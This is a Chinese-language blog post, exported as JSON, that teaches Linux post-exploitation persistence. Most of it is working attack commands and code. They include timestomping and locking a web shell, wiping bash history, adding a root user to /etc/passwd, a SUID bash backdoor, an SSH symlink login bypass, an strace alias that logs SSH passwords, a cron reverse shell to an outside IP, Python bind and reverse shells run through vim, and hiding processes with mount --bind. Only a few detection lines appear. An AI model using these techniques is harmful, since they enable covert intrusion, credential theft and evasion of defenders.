{"id":790,"date":"2025-10-24T15:33:51","date_gmt":"2025-10-24T07:33:51","guid":{"rendered":"https:\/\/www.youvii.site\/?p=790"},"modified":"2025-10-24T15:33:51","modified_gmt":"2025-10-24T07:33:51","slug":"linuxquanxianweichi","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/linuxquanxianweichi","title":{"rendered":"Linux\u6743\u9650\u7ef4\u6301"},"content":{"rendered":"<h1>Linux\u6743\u9650\u7ef4\u6301<\/h1>\n<h1>\u4fee\u6539\u6587\u4ef6\/\u7ec8\u7aef\u5c5e\u6027<\/h1>\n<h2>\u6587\u4ef6\u521b\u5efa\u65f6\u95f4<\/h2>\n<p>\u5982\u679c\u84dd\u961f\u6839\u636e\u6587\u4ef6\u4fee\u6539\u65f6\u95f4\u6765\u5224\u65ad\u6587\u4ef6\u662f\u5426\u4e3a\u540e\u95e8\uff0c\u5982\u53c2\u8003index.php\u7684\u65f6\u95f4\u518d\u6765\u770bshell.php\u7684\u65f6\u95f4\u5c31\u53ef\u4ee5\u5224\u65adshell.php\u7684\u751f\u6210\u65f6\u95f4\u6709\u95ee\u9898<\/p>\n<p>\u89e3\u51b3\u65b9\u6cd5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">touch -r index.php shell.php<\/code><\/pre>\n<p>touch\u547d\u4ee4\u7528\u4e8e\u4fee\u6539\u6587\u4ef6\u6216\u8005\u76ee\u5f55\u7684\u65f6\u95f4\u5c5e\u6027\uff0c\u5305\u62ec\u5b58\u53d6\u65f6\u95f4\u548c\u66f4\u6539\u65f6\u95f4\u3002\u82e5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u7cfb\u7edf\u4f1a\u5efa\u7acb\u4e00\u4e2a\u65b0\u7684\u6587\u4ef6\u3002<\/p>\n<h2>\u6587\u4ef6\u9501\u5b9a<\/h2>\n<p>\u5728Linux\u4e2d\uff0c\u4f7f\u7528chattr\u547d\u4ee4\u6765\u9632\u6b62root\u548c\u5176\u4ed6\u7ba1\u7406\u7528\u6237\u8bef\u5220\u9664\u548c\u4fee\u6539\u91cd\u8981\u6587\u4ef6\u53ca\u76ee\u5f55\uff0c\u6b64\u6743\u9650\u7528ls -l\u662f\u67e5\u770b\u4e0d\u51fa\u6765\u7684\uff0c\u4ece\u800c\u8fbe\u5230\u9690\u85cf\u6743\u9650\u7684\u76ee\u7684<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">chattr +i evil.php #\u9501\u5b9a\u6587\u4ef6\nrm -rf evil.php #\u63d0\u793a\u7981\u6b62\u5220\u9664\nlsattr evil.php #\u5c5e\u6027\u67e5\u770b\nchattr -i evil.php #\u89e3\u9664\u9501\u5b9a\nrm -rf evil.php #\u5f7b\u5e95\u5220\u9664\u6587\u4ef6<\/code><\/pre>\n<h2>\u5386\u53f2\u64cd\u4f5c\u547d\u4ee4<\/h2>\n<p>\u5728shell\u4e2d\u6267\u884c\u7684\u547d\u4ee4\uff0c\u4e0d\u5e0c\u671b\u88ab\u8bb0\u5f55\u5728\u547d\u4ee4\u884c\u5386\u53f2\u4e2d\uff0c\u5982\u4f55\u5728linux\u4e2d\u5f00\u542f\u65e0\u75d5\u64cd\u4f5c\u6a21\u5f0f\u5462\uff1f<\/p>\n<p>\u6280\u5de7\u4e00\uff1a\u53ea\u9488\u5bf9\u4f60\u7684\u5de5\u4f5c\u5173\u95ed\u5386\u53f2\u8bb0\u5f55<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">[space]set +o history #\u5907\u6ce8\uff1a[space] \u8868\u793a\u7a7a\u683c\u3002\u5e76\u4e14\u7531\u4e8e\u7a7a\u683c\u7684\u7f18\u6545\uff0c\u8be5\u547d\u4ee4\u672c\u8eab\u4e5f\u4e0d\u4f1a\u88ab\u8bb0\u5f55<\/code><\/pre>\n<p>\u4e0a\u9762\u7684\u547d\u4ee4\u4f1a\u4e34\u65f6\u7981\u7528\u5386\u53f2\u529f\u80fd\uff0c\u8fd9\u610f\u5473\u7740\u5728\u8fd9\u547d\u4ee4\u4e4b\u540e\u4f60\u6267\u884c\u7684\u6240\u6709\u64cd\u4f5c\u90fd\u4e0d\u4f1a\u8bb0\u5f55\u5230\u5386\u53f2\u4e2d\uff0c\u7136\u800c<\/p>\n<p>\u8fd9\u4e2a\u547d\u4ee4\u4e4b\u524d\u7684\u6240\u6709\u4e1c\u897f\u90fd\u4f1a\u539f\u6837\u8bb0\u5f55\u5728\u5386\u53f2\u5217\u8868\u4e2d\u3002<\/p>\n<p>\u8981\u91cd\u65b0\u5f00\u542f\u5386\u53f2\u529f\u80fd\uff0c\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">[Space]set -o history #\u5c06\u73af\u5883\u6062\u590d\u539f\u72b6<\/code><\/pre>\n<p>\u6280\u5de7\u4e8c\uff1a\u4ece\u5386\u53f2\u8bb0\u5f55\u4e2d\u5220\u9664\u6307\u5b9a\u7684\u547d\u4ee4<\/p>\n<p>\u5047\u8bbe\u5386\u53f2\u8bb0\u5f55\u4e2d\u5df2\u7ecf\u5305\u542b\u4e86\u4e00\u4e9b\u4f60\u4e0d\u5e0c\u671b\u8bb0\u5f55\u7684\u547d\u4ee4\u3002\u8fd9\u79cd\u60c5\u51b5\u4e0b\u6211\u4eec\u600e\u4e48\u529e\uff1f\u5f88\u7b80\u5355\u3002\u901a\u8fc7\u4e0b\u9762\u7684\u547d\u4ee4\u6765\u5220\u9664\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">history | grep \"keyword\"<\/code><\/pre>\n<p>\u8f93\u51fa\u5386\u53f2\u8bb0\u5f55\u4e2d\u5339\u914d\u7684\u547d\u4ee4\uff0c\u6bcf\u4e00\u6761\u524d\u9762\u4f1a\u6709\u4e2a\u6570\u5b57\u3002\u4ece\u5386\u53f2\u8bb0\u5f55\u4e2d\u5220\u9664\u90a3\u4e2a\u6307\u5b9a\u7684\u9879\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">history -d [num]<\/code><\/pre>\n<p>\u5220\u9664\u5927\u89c4\u6a21\u5386\u53f2\u64cd\u4f5c\u8bb0\u5f55\uff0c\u8fd9\u91cc\uff0c\u6211\u4eec\u53ea\u4fdd\u7559\u524d150\u884c\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">sed -i '150,$d' ~\/.bash_history<\/code><\/pre>\n<h2>passwd\u589e\u52a0\u7528\u6237<\/h2>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">\/etc\/passwd \u5404\u90e8\u5206\u542b\u4e49\uff1a\n\u7528\u6237\u540d\uff1a\u5bc6\u7801\uff1a\u7528\u6237ID\uff1a\u7ec4ID\uff1a\u8eab\u4efd\u63cf\u8ff0\uff1a\u7528\u6237\u7684\u5bb6\u76ee\u5f55\uff1a\u7528\u6237\u767b\u5f55\u540e\u6240\u4f7f\u7528\u7684SHELL<\/code><\/pre>\n<p>\/etc\/shadow \u5404\u90e8\u5206\u542b\u4e49\uff1a<\/p>\n<p>\u7528\u6237\u540d\uff1a\u5bc6\u7801\u7684MD5\u52a0\u5bc6\u503c\uff1a\u81ea\u7cfb\u7edf\u4f7f\u7528\u4ee5\u6765\u53e3\u4ee4\u88ab\u4fee\u6539\u7684\u5929\u6570\uff1a\u53e3\u4ee4\u7684\u6700\u5c0f\u4fee\u6539\u95f4\u9694\uff1a\u53e3\u4ee4\u66f4\u6539\u7684\u5468\u671f\uff1a\u53e3\u4ee4\u5931\u6548\u7684\u5929\u6570\uff1a\u53e3\u4ee4\u5931\u6548\u4ee5\u540e\u5e10\u53f7\u4f1a\u88ab\u9501\u5b9a\u591a\u5c11\u5929\uff1a\u7528\u6237\u5e10\u53f7\u5230\u671f\u65f6\u95f4\uff1a\u4fdd\u7559\u5b57\u6bb5\u5c1a\u672a\u4f7f\u7528<\/p>\n<p>\u5199\u5165\u4e3e\u4f8b\uff1a<\/p>\n<p>1.\u589e\u52a0\u8d85\u7ea7\u7528\u6237<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">$perl -le 'print crypt(\"passwd\",\"salt\")'\nsadtCr0CILzv2\n$echo \"m123:sadtCr0CILzv2:0:0:\/root:\/bin\/bash\" &gt;&gt; \/etc\/passwd<\/code><\/pre>\n<h1>suid\u540e\u95e8<\/h1>\n<p>\u5f53\u4e00\u4e2a\u6587\u4ef6\u6240\u5c5e\u4e3b\u7684x\u6807\u5fd7\u4f4ds(set uid\u7b80\u79f0suid)\u65f6\uff0c\u4e14\u6240\u5c5e\u4e3b\u4e3aroot\u65f6\uff0c\u5f53\u6267\u884c\u8be5\u6587\u4ef6\u65f6\uff0c\u5176\u5b9e\u662f\u4ee5root\u8eab\u4efd\u6267\u884c\u7684\u3002\u5fc5\u8981\u6761\u4ef6\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">1\u3001SUID\u6743\u9650\u4ec5\u5bf9\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u6709\u6548\u3002\n2\u3001\u6267\u884c\u8005\u5bf9\u4e8e\u8be5\u7a0b\u5e8f\u9700\u8981\u5177\u6709x\u7684\u53ef\u6267\u884c\u6743\u9650\n3\u3001\u672c\u6743\u9650\u4ec5\u5728\u6267\u884c\u8be5\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u4e2d\u6709\u6548\n4\u3001\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u6267\u884c\u8005\u5c06\u5177\u6709\u8be5\u7a0b\u5e8f\u62e5\u6709\u8005\u7684\u6743\u9650<\/code><\/pre>\n<p>\u521b\u5efasuid\u6743\u9650\u7684\u6587\u4ef6\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">cp \/bin\/bash \/tmp\/.woot\nchmod 4755 \/tmp\/.woot\nls -al \/tmp\/.woot\n-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot\n\n\/tmp\/.woot\n\/tmp\/.woot -p \/\/bash2 \u9488\u5bf9 suid \u6709\u4e00\u4e9b\u62a4\u536b\u7684\u63aa\u65bd\uff0c\u4f7f\u7528-p\u53c2\u6570\u6765\u83b7\u53d6\u4e00\u4e2aroot shell<\/code><\/pre>\n<p>\u521b\u5efasuid\u6743\u9650\u7684\u6587\u4ef6\uff1a<\/p>\n<p>\u4f7f\u7528-p\u53c2\u6570\u6765\u83b7\u53d6\u4e00\u4e2aroot shell. \u8fd9\u4e2aeuid\u7684\u610f\u601d\u662f effective user id<a href=\"https:\/\/blog.csdn.net\/fatshaw\/article\/details\/6171035?clienttype=8&amp;version=7.55.1.101&amp;from=win32_yunguanjia&amp;channel=00000000000000000000000040000001&amp;privilege=&amp;pri_extra=\">Real user ID, effective user ID, set user ID_real user id \u548ceffective user id-CSDN\u535a\u5ba2<\/a><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae41e0ea89.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610407603-c1ab9665-7290-4d6a-b538-93b68946614a.png\" \/><\/p>\n<p>\u68c0\u6d4b\uff1a\u67e5\u627e\u5177\u6709suid\u6743\u9650\u7684\u6587\u4ef6\u5373\u53ef<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">find \/ -perm +4000 -ls\nfind \/ -perm -u=s -type f 2&gt;\/dev\/null<\/code><\/pre>\n<h1>SSH \u540e\u95e8<\/h1>\n<h2>SSH \u8f6f\u8fde\u63a5\u540e\u95e8<\/h2>\n<p>\u8f6f\u8fde\u63a5\u540e\u95e8\u7684\u539f\u7406\u662f\u5229\u7528\u4e86PAM\u914d\u7f6e\u6587\u4ef6\u7684\u4f5c\u7528\uff0c\u5c06sshd\u6587\u4ef6\u8f6f\u8fde\u63a5\u540d\u79f0\u8bbe\u7f6e\u4e3asu\uff0c\u8fd9\u6837\u5e94\u7528\u5728\u542f\u52a8\u8fc7\u7a0b\u4e2d\u4ed6\u4f1a\u53bbPAM\u914d\u7f6e\u6587\u4ef6\u5939\u4e2d\u5bfb\u627e\u662f\u5426\u5b58\u5728\u5bf9\u5e94\u540d\u79f0\u7684\u914d\u7f6e\u4fe1\u606f(su)\uff0c\u7136\u800c su \u5728 pam_rootok \u53ea\u68c0\u6d4buid 0 \u5373\u53ef\u8ba4\u8bc1\u6210\u529f\uff0c\u8fd9\u6837\u5c31\u5bfc\u81f4\u4e86\u53ef\u4ee5\u4f7f\u7528\u4efb\u610f\u5bc6\u7801\u767b\u5f55:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">ln -sf \/usr\/sbin\/sshd \/usr\/local\/su;\/usr\/local\/su -oPort=12345<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae42071776.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610446734-42efb62f-25fb-479d-a50d-d3c0f9bd60d9.png\" \/><\/p>\n<p>\u4f18\u70b9\uff1a\u80fd\u591f\u7ed5\u8fc7\u4e00\u4e9b\u7f51\u7edc\u8bbe\u5907\u7684\u5b89\u5168\u6d41\u91cf\u76d1\u6d4b\uff0c\u4f46\u662f\u672c\u5730\u5728\u67e5\u770b\u76d1\u542c\u7aef\u53e3\u65f6\u4f1a\u66b4\u9732\u7aef\u53e3\uff0c\u5efa\u8bae\u8bbe\u7f6e\u62108081\uff0c8080\u7b49\u7aef\u53e3<\/p>\n<p><a href=\"http:\/\/blackwolfsec.cc\/2017\/03\/24\/Linux_ssh_backdoor\/\">http:\/\/blackwolfsec.cc\/2017\/03\/24\/Linux_ssh_backdoor\/<\/a><\/p>\n<h2>SSH \u516c\u94a5\u514d\u5bc6\u7801\u767b\u9646<\/h2>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">ssh-keygen -t rsa \/\/\u751f\u6210\u516c\u94a5\ncat id_rsa.pub &gt; authorized_keys \/\/\u5c06id_rsa.pub\u5185\u5bb9\u653e\u5230\u76ee\u6807.ssh\/authorized_keys\u91cc<\/code><\/pre>\n<p>\u516c\u94a5\u514d\u767b\u9646\uff0c\u8fd9\u79cd\u7528\u6cd5\u4e0d\u53ea\u662f\u7528\u5728\u7559\u540e\u95e8\uff0c\u8fd8\u53ef\u4ee5\u5728\u4e00\u4e9b\u7279\u6b8a\u60c5\u51b5\u4e0b\u83b7\u53d6\u4e00\u4e2a\u4ea4\u4e92\u7684shell\uff0c\u5982struts\u5199\u5165\u516c\u94a5\uff0coracle\u5199\u5165\u516c\u94a5\u8fde\u63a5\uff0cRedis\u672a\u6388\u6743\u8bbf\u95ee\u7b49\u60c5\u666f<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">chmod 600 id_rsa\nssh -i id_rsa root@192.168.0.113<\/code><\/pre>\n<h2>SSH Keylogger\u8bb0\u5f55\u5bc6\u7801<\/h2>\n<p>\u5f53\u524d\u7cfb\u7edf\u5982\u679c\u5b58\u5728strace\u7684\u8bdd\uff0c\u5b83\u53ef\u4ee5\u8ddf\u8e2a\u4efb\u4f55\u8fdb\u7a0b\u7684\u7cfb\u7edf\u8c03\u7528\u548c\u6570\u636e\uff0c\u53ef\u4ee5\u5229\u7528 strace \u7cfb\u7edf\u8c03\u8bd5\u5de5\u5177\u83b7\u53d6 ssh \u7684\u8bfb\u5199\u8fde\u63a5\u7684\u6570\u636e\uff0c\u4ee5\u8fbe\u5230\u6293\u53d6\u7ba1\u7406\u5458\u767b\u9646\u5176\u4ed6\u673a\u5668\u7684\u660e\u6587\u5bc6\u7801\u7684\u4f5c\u7528<\/p>\n<p>\u5728\u5f53\u524d\u7528\u6237\u7684 .bashrc \u91cc\u65b0\u5efa\u4e00\u6761 alias \uff0c\u8fd9\u6837\u53ef\u4ee5\u6293\u53d6\u4ed6\u767b\u9646\u5176\u4ed6\u673a\u5668\u7684 ssh \u5bc6\u7801<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">alias ssh='strace -o \/tmp\/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -\ns2048 ssh'<\/code><\/pre>\n<p>\u8bbe\u7f6e\u5b8c\u6bd5\u540e\uff0c\u5018\u82e5\u5f53\u524d\u7cfb\u7edf\u4e0d\u5b58\u5728alias\uff0c\u90a3\u4e48\u5c31\u4f1a\u5f71\u54cd\u5176\u6b63\u5e38\u4f7f\u7528<img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae4233e020.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610528570-94b2e3ec-2dc0-4a0d-9425-adae3504ebf5.png\" \/><\/p>\n<p><code>grep -A 9 'password' .ssh-2210\u6708101634901802.log<\/code><\/p>\n<h1>Ubuntu\u5229\u7528Cron\u673a\u5236\u5b89\u88c5\u540e\u95e8<\/h1>\n<p>\u9996\u5148\uff0c\u8bf4\u660e\u4e00\u4e0b\uff0cCron\u662fubuntu\u4e0b\u9ed8\u8ba4\u542f\u52a8\u7684\u7528\u6237\u6267\u884c\u8ba1\u5212\u3002\u5b83\u4f1a\u6309\u7167\u8bbe\u7f6e\uff0c\u5728\u56fa\u5b9a\u7684\u5468\u671f\u6216\u8005\u6309\u7167\u4e00\u5b9a\u65f6\u95f4\u6267\u884c\u67d0\u4e00\u4e2a\u4efb\u52a1\u3002\u5b83\u662f\u4e00\u9879\u670d\u52a1\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\u57fa\u672c\u7684\u670d\u52a1\u67e5\u770b\u72b6\u6001\u547d\u4ee4\u7b49\u67e5\u770b\u4fe1\u606f<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">service cron status<\/code><\/pre>\n<p>\u67e5\u770b\u666e\u901a\u7528\u6237\u7684\u6267\u884c\u8ba1\u5212\u3002\uff08\u5982\u679c\u4f60\u663e\u793a\u6ca1\u6709\u8ba1\u5212\u4e0d\u8981\u7740\u6025\uff0c\u540e\u9762\u52a0\u4e0acron.allow\u548ccron.deny\uff09\u5c31\u6709\u4e86<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">crontab -l<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae425e7714.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610571982-6fbf9b05-02b8-46b4-aa93-6d8e428406de.png\" \/><\/p>\n<p>\u67e5\u770bcrontab\u7684\u9009\u9879<\/p>\n<p>\u67e5\u770b\u5177\u4f53\u7684\u7528\u6237\u7684\u6267\u884c\u8ba1\u5212<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae4291df46.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610580737-6b0cd34b-e871-423d-ac23-279e46761bb2.png\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">crontab -e \u7f16\u8f91\u4efb\u52a1\ncrontab -l \u5217\u51fa\u4efb\u52a1<\/code><\/pre>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">(crontab -l;printf \"* * * * * \/bin\/bash -c '\/bin\/sh -i &gt;&amp;\n\/dev\/tcp\/192.168.79.3\/2334 0&gt;&amp;1';r%100cn\")|crontab -<\/code><\/pre>\n<p>\u628a\u53cd\u5f39shell\u52a0\u5165\u8ba1\u5212\u4efb\u52a1\u91cc\u6267\u884c<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae42c10fd0.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610602273-d243262e-6fb9-469e-a516-ad43f1fadc44.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae42e682a9.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610607461-477186f9-8077-4fc6-ad4f-3bc93b3e13fe.png\" \/><\/p>\n<p>\u8ba1\u5212\u4efb\u52a1\u8def\u5f84<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">cat \/var\/spool\/cron\/crontabs\/root\nroot\u662f\u8ba1\u5212\u4efb\u52a1\u7684\u6587\u4ef6 \u4f7f\u7528cat\u662f\u770b\u4e0d\u5230\u5185\u5bb9\u7684 \u56e0\u4e3a\u662f\u7528\u4e86\u67d0\u4e9b\u7279\u6b8a\u5b57\u7b26 \u5bfc\u81f4\u67d0\u4e9b\u5185\u5bb9\u88ab\u9690\u85cf\n\u53ef\u4ee5\u4f7f\u7528 crontab -e \u7f16\u8f91\u4efb\u52a1\u53ef\u4ee5\u770b\u5230\u53cd\u5f39shell\u7684\u5185\u5bb9<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae430af39b.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610624386-17b6160c-534f-4c97-b06c-68b14b9af600.png\" \/><\/p>\n<h1>vim python \u6269\u5c55\u540e\u95e8<\/h1>\n<p>\u9002\u7528\u4e8e\u5b89\u88c5\u4e86vim\u4e14\u5b89\u88c5\u4e86python\u6269\u5c55(\u7edd\u5927\u7248\u672c\u9ed8\u8ba4\u5b89\u88c5)\u7684linux\u7cfb\u7edf<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">cd \/usr\/lib\/python2.7\/site-packages &amp;&amp; $(nohup vim -E -c \"pyfile dir.py\"&gt;\n\/dev\/null 2&gt;&amp;1 &amp;) &amp;&amp; sleep 2 &amp;&amp; rm -f dir.py\n$(nohup vim -E -c \"py3file dir.py\"&gt; \/dev\/null 2&gt;&amp;1 &amp;) &amp;&amp; sleep 2 &amp;&amp; rm -f\ndir.py<\/code><\/pre>\n<p>\u6076\u610f\u811a\u672c dir.py \u7684\u5185\u5bb9\u53ef\u4ee5\u662f\u4efb\u4f55\u529f\u80fd\u7684\u540e\u95e8\uff0c\u6bd4\u5982\u76d1\u542c\u672c\u5730\u768411\u7aef\u53e3\uff1a<\/p>\n<p>\u6b63\u5411\u540e\u95e8<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">#from https:\/\/www.leavesongs.com\/PYTHON\/python-shell-backdoor.html\nfrom socket import *\nimport subprocess\nimport os, threading, sys, time\nif __name__ == \"__main__\":\nserver=socket(AF_INET,SOCK_STREAM)\nserver.bind(('0.0.0.0',11))\nserver.listen(5)\nprint ('waiting for connect')\ntalk, addr = server.accept()\nprint ('connect from',addr)\nproc = subprocess.Popen([\"\/bin\/sh\",\"-i\"], stdin=talk,\nstdout=talk, stderr=talk, shell=True)<\/code><\/pre>\n<p>\u53cd\u5411\u540e\u95e8<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">import socket, subprocess, os;\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM);\ns.connect((\"192.168.241.128\", 6666));\nos.dup2(s.fileno(), 0);\nos.dup2(s.fileno(), 1);\nos.dup2(s.fileno(), 2);\np = subprocess.call([\"\/bin\/sh\", \"-i\"]);<\/code><\/pre>\n<p>\u9690\u85cf\u540e\u95e8<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">(nohup vim -E -c \"py3file shell.py\"&gt; \/dev\/null 2&gt;&amp;1 &amp;)\n#\u5c06nohup\u7684\u6267\u884c\u7ed3\u679c\u8f93\u51fa\u5230\/dev\/null\u4e2d\n#\u5176\u4e2d\/dev\/null\u5728linux\u4e2d\u4ee3\u8868\u7a7a\u8bbe\u5907\uff0c\u7ed3\u679c\u8f93\u51fa\u5230\u7a7a\u8bbe\u5907\u4e5f\u5c31\u662f\u4e22\u5f03nohup\u7684\u6267\u884c\u7ed3\u679c\u3002\n#\u201c2\u201d\u5728linux\u4e2d\u4ee3\u8868\u9519\u8bef\u8f93\u51fa\uff0c\u201c1\u201d\u5728linux\u4e2d\u4ee3\u8868\u6807\u51c6\u8f93\u51fa\uff0c\u5728\u6b64\u5904\u4e5f\u5c31\u662fnohup\u7684\u8f93\u51fa\u30022&gt;&amp;1\u8868\u793a\u5c06\u9519\u8bef\n\u8f93\u51fa\u7ed1\u5b9a\u5230\u6807\u51c6\u8f93\u51fa\u4e0a\uff0c\u5728\u6b64\u5904\u4e5f\u5c31\u662f\u5c06\u9519\u8bef\u8f93\u51fa\u540c\u6837\u8f93\u51fa\u5230\u7a7a\u8bbe\u5907\u4e0a\u4e0d\u8fdb\u884c\u663e\u793a\u3002\u8fd9\u6837\uff0c\u65e0\u8bbanohup\u6267\u884c\u7ed3\n\u679c\u662f\u5426\u6b63\u786e\uff0c\u90fd\u4e0d\u4f1a\u6709\u8f93\u51fa\u3002<\/code><\/pre>\n<p>\u5c06netstat -anpt \u67e5\u770b\u5230\u7684\u53ef\u7591\u8fde\u63a5\u9690\u85cf\u8d77\u6765\uff0c\u89e3\u51b3\u65b9\u6cd5\uff1a<\/p>\n<p>\u65e2\u7136\u662f\u540e\u95e8\uff0c\u90a3\u4e48\u5c31\u4e0d\u80fd\u7559\u4e0b\u81ea\u5df1\u521b\u5efa\u7684\u6587\u4ef6\uff0c\u53ef\u4ee5\u5c06\u5220\u9664\u547d\u4ee4\u76f4\u63a5\u62fc\u63a5\u5230\u547d\u4ee4\u4e0a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">(nohup vim -E -c \"py3file dir.py\"&gt; \/dev\/null 2&gt;&amp;1 &amp;) &amp;&amp; sleep 2 &amp;&amp; rm -f dir.py<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae4339e693.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610833517-b41c6e34-801b-47ce-9850-c1ca3b06ce1b.png\" \/><\/p>\n<p>\u9690\u85cf\u8fdb\u7a0b<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">mkdir null\nmount --bind null \/proc\/6238\nnetstat -anpt<\/code><\/pre>\n<h1>mount &#8211;bind\u547d\u4ee4\u662f\u5c06\u524d\u4e00\u4e2a\u76ee\u5f55\u6302\u8f7d\u5230\u540e\u4e00\u4e2a\u76ee\u5f55\u4e0a\uff0c\u6240\u6709\u5bf9\u540e\u4e00\u4e2a\u76ee\u5f55\u7684\u8bbf\u95ee\u5176\u5b9e\u90fd\u662f\u5bf9\u524d\u4e00\u4e2a\u76ee\u5f55\u7684\u8bbf\u95ee\uff0c\u5e76\u4e14\u4f1a\u5c06\u524d\u4e00\u4e2a\u76ee\u5f55\u8def\u5f84\u9690\u85cf\u8d77\u6765\uff08\u6ce8\u610f\u8fd9\u91cc\u53ea\u662f\u9690\u85cf\u4e0d\u662f\u5220\u9664\uff0c\u6570\u636e\u672a\u53d1\u751f\u6539\u53d8\uff0c\u4ec5\u4ec5\u662f\u65e0\u6cd5\u8bbf\u95ee\u4e86\uff09<\/h1>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae436e8df9.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746610861881-28cea9c1-5cd1-44d0-b4da-9fdc4f41e3a8.png\" \/><\/p>\n<p>\u653b\u51fb\u673anc\u8fde\u63a5\u8fc7\u53bb\u5c31\u53ef\u4ee5\u4e86:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">nohup vim -E -c \"pyfile dir.py\"\nnc 127.0.0.1 11<\/code><\/pre>\n<p>\u67e5\u770b cat \/proc\/$$\/mountinfo \u53ef\u4ee5\u770b\u5230\u6302\u5728\u7684\u76ee\u5f55<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-basic\">sudo umount \/proc\/2607\nsudo netstat -anpt\nps aux | grep 2607<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae43a03b18.png\" 